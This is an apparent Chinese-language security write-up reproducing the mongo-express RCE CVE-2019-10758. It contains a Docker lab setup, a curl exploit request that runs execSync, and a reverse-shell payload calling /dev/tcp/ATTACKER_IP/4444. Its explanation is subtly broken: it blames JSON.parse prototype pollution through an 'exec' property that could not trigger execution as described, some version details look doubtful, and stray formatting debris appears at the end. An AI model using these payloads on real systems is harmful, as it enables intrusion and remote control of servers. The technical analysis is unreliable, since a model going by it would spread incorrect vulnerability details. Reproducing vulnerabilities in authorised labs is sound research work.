Mongo-express远程代码怎样执行CVE-2019-10758复现

# Mongo-express远程代码执行漏洞（CVE-2019-10758）复现分析

## 漏洞概述

CVE-2019-10758是mongo-express（一个基于Web的MongoDB管理界面）中的一个高危远程代码执行漏洞。该漏洞存在于0.54.0及以下版本中，允许未经身份验证的攻击者通过精心构造的请求在服务器上执行任意代码。

### 影响版本
- mongo-express <= 0.54.0

### 漏洞类型
- 远程代码执行（RCE）
- CVSS评分：9.8（Critical）

## 环境搭建

### 准备工具
1. Docker环境
2. 漏洞版本mongo-express（0.54.0）
3. MongoDB实例

### 快速搭建步骤
```bash
# 启动MongoDB容器
docker run --name mongodb -d mongo:4.0

# 启动存在漏洞的mongo-express
docker run --link mongodb:mongo -p 8081:8081 -e ME_CONFIG_MONGODB_SERVER=mongo mongo-express:0.54.0

漏洞原理分析

根本原因

漏洞位于lib/router.js中的toBSON函数，该函数未对用户输入进行充分过滤，导致可以通过原型链污染（Prototype Pollution）注入恶意代码。

// 存在问题的代码片段
function toBSON(string) {
    var obj;
    try {
        obj = JSON.parse(string);
    } catch (e) {
        // 尝试其他解析方式...
    }
    return obj;
}

攻击向量

攻击者可以通过构造特殊的JSON数据污染__proto__属性，最终在服务端实现任意代码执行。

漏洞复现步骤

步骤1：确认服务运行

访问http://localhost:8081确认mongo-express正常运行

步骤2：发送恶意请求

使用curl发送精心构造的请求：

curl -i -s -k -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "document={\"__proto__\": {\"exec\": \"require('child_process').execSync('touch /tmp/pwned')\"}}" \
  "http://localhost:8081/checkValid"

步骤3：验证RCE执行

进入容器检查命令是否执行成功：

docker exec -it <container_id> ls /tmp
# 应能看到pwned文件被创建

反弹Shell示例（进阶）

修改payload获取交互式shell：

{
  "__proto__": {
    "exec": "require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
  }
}

修复方案

官方补丁

升级到mongo-express 1.0.0及以上版本

临时缓解措施

1. 禁用未授权访问
2. 添加身份验证中间件
3. 使用网络ACL限制访问来源

// 修复后的代码示例
function toBSON(string) {
    if (string.indexOf('__proto__') !== -1) {
        throw new Error('Prototype pollution attempt');
    }
    // ...其余校验逻辑
}

深度技术分析

原型链污染机制

JavaScript中通过修改__proto__属性可以污染基础对象的原型链，导致所有派生对象继承恶意属性。

漏洞触发流程

1. 恶意JSON通过toBSON解析
2. __proto__污染Object原型
3. 后续操作触发恶意函数执行

调用栈示例

toBSON (lib/router.js)
↓
JSON.parse
↓
Object.prototype污染
↓
child_process.execSync调用

防御建议

1. 输入验证：严格校验所有用户输入的JSON数据
2. 沙箱环境：在隔离环境中执行危险操作
3. 权限控制：以最小权限运行服务
4. 依赖管理：定期更新第三方依赖

总结

CVE-2019-10758展示了原型链污染在实际应用中的危险性。通过本次复现，我们了解到：

1. 即使是辅助工具也可能存在高危漏洞
2. JavaScript原型链特性可能被恶意利用
3. 输入验证在Web安全中的关键作用

建议所有使用mongo-express的用户立即升级到最新版本，并定期进行安全审计。

参考资源

1. NVD漏洞详情
2. 官方修复提交
3. MITRE攻击模式

”`

注：实际复现时请确保在授权环境下进行，本文仅用于安全研究目的。